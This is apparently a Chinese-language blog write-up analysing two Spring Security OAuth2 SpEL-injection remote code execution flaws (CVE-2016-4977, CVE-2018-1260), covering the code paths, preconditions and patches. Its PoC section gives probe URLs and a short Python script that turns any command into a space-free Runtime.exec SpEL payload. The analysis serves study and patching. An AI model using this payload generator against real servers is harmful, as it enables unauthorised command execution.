文章目录

  • Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)
  • 漏洞分析
  • PoC
  • 知识回顾 - SpringMVC工作流程
  • 漏洞修复
  • Spring Security OAuth2 远程代码执行(CVE-2018-1260)
  • 漏洞分析
  • 前置条件
  • PoC
  • 漏洞修复
  • 参考


Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)

影响版本:

  • 2.0.0 to 2.0.9
  • 1.0.0 to 1.0.5

Spring Security OAuth2 是Spring Security的子项目,是对OAuth 2.0 授权机制的实现(现在该项目已弃用,对OAuth 2.0的支持已迁移到Spring Security主项目中)。

漏洞分析

由于并不是因为OAuth 2.0授权机制的实现代码出现了问题,所以本文并不会对OAuth 2.0的概念、授权流程等进行详细介绍,对OAuth 2.0的授权流程不熟悉的可以参考[4][5][6]

Spring Security OAuth2使用SpringMVC实现Web接口。该漏洞出现在授权接口 /oauth/authorize,该接口需要登录后才能访问。

该接口会先后对入参response_typeredirect_uri进行检查,如果其中任何一个参数值不满足条件,会将参数的值封装到异常信息中,然后将异常对象存入request的属性attributes中,然后转发到/oauth/error接口继续处理。

Springboot eureka xstream deserialization RCE漏洞 加固 spring security 漏洞_html


/oauth/error接口处理时,将异常对象从request域中取出来,然后和一个包含了SpEL表达式模板的SpelView视图对象一起构造一个模型视图对象ModelAndView并返回。

Springboot eureka xstream deserialization RCE漏洞 加固 spring security 漏洞_web安全_02


然后再次进入DispatcherServlet#processDispatchResult()对模型视图对象ModelAndView处理。其中,会调用SpelView#render()进行视图渲染。

SpelView#render() 执行的过程中:

  • (1) 将包含了异常对象的Model对象放到SpEL的求值上下文StandardEvaluationContex中;
  • (2) 对SpEL表达式模板进行递归求值处理:先把${}符号里的内容提取出来,得到error.summary,对error.summary进行SpEL表达式求值就相当于调用异常对象的getSummary()方法,求值后得到一个异常信息字符串。
  • (3) 如果得到的异常信息字符串中还包含有${}符号的话,就再次取里面的内容进行SpEL表达式求值。

PoC

关于SpEL表达式,Spring的官方文档是最好的教程(参考[2]

/oauth/authorize?response_type=${4*7}
&client_id=acme
&scope=openid
&redirect_uri=http://test

或:
http://vulfocus.my:8081/oauth/authorize?response_type=token
&client_id=acme
&scope=openid
&redirect_uri=${3*9}

如果要构造能执行命令的SpEL表达式,这里有个坑,就是表达式里不能存在空格,否则在空格前会被插入一个逗号,比如'open -a Calculator'会变为open, -a, Calculator,从而导致命令格式错误而无法被执行。

这里可以利用Character.toString(char)将ASCII值转化为字母,然后用字符串的concat()方法将字符拼接起来,这样就不会出现空格了。

可用Python脚本快速实现:

#!/usr/bin/env python3

msg = input('Please input command that you want to encode: ')

payload = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(msg[0])

for i in msg[1:]:
    payload += '.concat(T(java.lang.Character).toString(%s))' % ord(i)
payload += ')}'

print(payload)

知识回顾 - SpringMVC工作流程

SpringMVC的请求-响应流程的函数调用栈如下:

DispatcherServlet#service()
  ->DispatcherServlet#doService()
    ->DispatcherServlet#doDispatch() //进行handler的调度,这是DispatcherServlet最核心的方法,整个SpringMVC的执行流程都在该方法中完成!
     ->DispatcherServlet#getHandler() //获取对应的handler(即根据/hello获取对应HelloController)
      ->BeanNameUrlHandlerMapping#getHandler() //获取/hello对应的HelloController,并将其封装到HandlerExecutionChain对象中并返回,该对象不仅包含该url对应的Controller,还包含了对应的拦截器Interceptor集合(BeanNameUrlHandlerMapping,在spring应用的配置文件里有注册)
     ->DispatcherServlet#getHandlerAdapter()//根据得到的Controller,获取对应的适配器(SimpleControllerHandlerAdapter,在spring应用的配置文件里有注册)
     ->HandlerExecutionChain#applyPreHandle()//遍历HandlerExecutionChain中的拦截器,并执行拦截器的preHandle()方法
     ->SimpleControllerHandlerAdapter#handle()//执行HelloController的handleRequest()方法,并返回ModelAndView对象
     ->HandlerExecutionChain#appPostHandle()//遍历HandlerExecutionChain中的拦截器,并执行拦截器的postHandle()方法
     ->DispatcherServlet#processDispatchResult()//根据ModelAndView对象对结果进行处理
      ->DispatcherServlet#render()从ModelAndView对象中获取视图名称viewName
       ->DispatcherServlet#resolveViewName()//视图解析器InternalResourceViewResolver(这个在Spring应用的配置文件里有注册)对视图名称viewName进行解析并返回一个View对象(InternalResourceView),这个View对象中包含了视图资源文件的url。
       ->InternalResourceView#render()//View对象构造响应输出

对应到流程图如下:

Springboot eureka xstream deserialization RCE漏洞 加固 spring security 漏洞_github_03


漏洞修复

Springboot eureka xstream deserialization RCE漏洞 加固 spring security 漏洞_html_04


修复后的代码,将SpEL表达式的前缀判断改为了长度为6的随机字符串+{。这样的话,攻击者由于不知道前缀,所以就无法注入SpEL表达式进行攻击。

至于网上说这里因为是长度为6的随机字符串,有被暴破的风险。但个人认为不会,因为每一次的请求,在转发到/oauth/error接口处理,构造ModelAndView对象时,都会新建一个SpelView对象传进去,所以每次请求,这个6字节的随机字符串都会重新生成,所以并不存在暴破风险。当然,笔者只是根据代码的逻辑来判断的,并未实际调试验证。

Spring Security OAuth2 远程代码执行(CVE-2018-1260)

影响版本:

  • Spring Security OAuth 2.3 to 2.3.2
  • Spring Security OAuth 2.2 to 2.2.1
  • Spring Security OAuth 2.1 to 2.1.1
  • Spring Security OAuth 2.0 to 2.0.14
  • Older unsupported versions are also affected

环境搭建:

从github找一个demo项目快速搭起来https://github.com/wanghongfei/spring-security-oauth2-example,按照demo说明将数据库配好后,将demo里的OAuthSecurityConfig#configure(ClientDetailsServiceConfigurer)方法修改如下,重点是将scope域置空,这是漏洞能成功触发的条件。

@Override
public void configure(ClientDetailsServiceConfigurer clients) throws Exception {
    clients.inMemory()
            .withClient("client")
            .secret("secret")
            .authorizedGrantTypes("authorization_code")
            .scopes();
}

按照官网文档的说明,scope如果不设置,默认值就是空的。但spring-security-oauth2:2.0.8 版本默认值却是openid

Springboot eureka xstream deserialization RCE漏洞 加固 spring security 漏洞_github_05

用前面CVE-2016-4977的环境也是可以的,不过要把application.propertiessecurity.oauth2.client.scope配置置空才行。

漏洞分析

这个漏洞的入口也是在授权接口/oauth/authorize,但与CVE-2016-4977不同,是另外一条通路。

CVE-2016-4977是访问授权接口/oauth/authorize时,可控response_typeredirect_uri参数不合法,从而在异常处理的流程中,注入了SpEL的可控参数被封装到异常信息中,从而在渲染报错页面时触发SpEL表达式求值。

而CVE-2018-1260 是在授权成功后的流程中触发了SpEL表达式求值。


/oauth/authorize 会将传入的scope的值将服务端配置的值进行比对,如果不匹配则会抛出异常InvalidScopeException。但如果scope配置的值为空,则校验函数直接就返回了。

scope表示客户端能访问资源的范围,这个值实际的服务端开发中都会预设值而不是为空,但这里为了漏洞复现,就在配置类OAuthSecurityConfig中将scope的预设值置为空了。

Springboot eureka xstream deserialization RCE漏洞 加固 spring security 漏洞_github_06


Springboot eureka xstream deserialization RCE漏洞 加固 spring security 漏洞_web安全_07


后面如果没有其他异常出现,则会将请求转发到/oauth/confirm_access接口进行后续的处理。

Springboot eureka xstream deserialization RCE漏洞 加固 spring security 漏洞_html_08


后面的SpEL执行的触发流程就跟CVE-2016-4977类似了,也是在SpelView渲染的时候触发的。

Springboot eureka xstream deserialization RCE漏洞 加固 spring security 漏洞_html_09

前置条件

从上述分析可知,该漏洞被利用的话有以下前置条件:

  • scope要配置为空;实际开发中一般都会给scope预设值。
  • 需使用默认的Approval Endpoint,即WhitelabelApprovalEndpoint。通过默认的页面模板构造SpelView对象,从而让通过scope参数注入的SpEL表达式在SpelView渲染的过程中解释执行。而在实际开发中,很可能会使用自定义的Approval Endpoint实现,从而导致无法进行SpEL注入。

PoC

命令执行PoC构造同CVE-2016-4977。

漏洞修复

补丁见:

https://github.com/spring-projects/spring-security-oauth/commit/adb1e6d19c681f394c9513799b81b527b0cb007c

在修复版本中将SpelView.java给删除了,而且在WhitelabelApprovalEndpoint.java 中,使用了一个View的匿名实现类去作为替换。

Springboot eureka xstream deserialization RCE漏洞 加固 spring security 漏洞_安全漏洞_10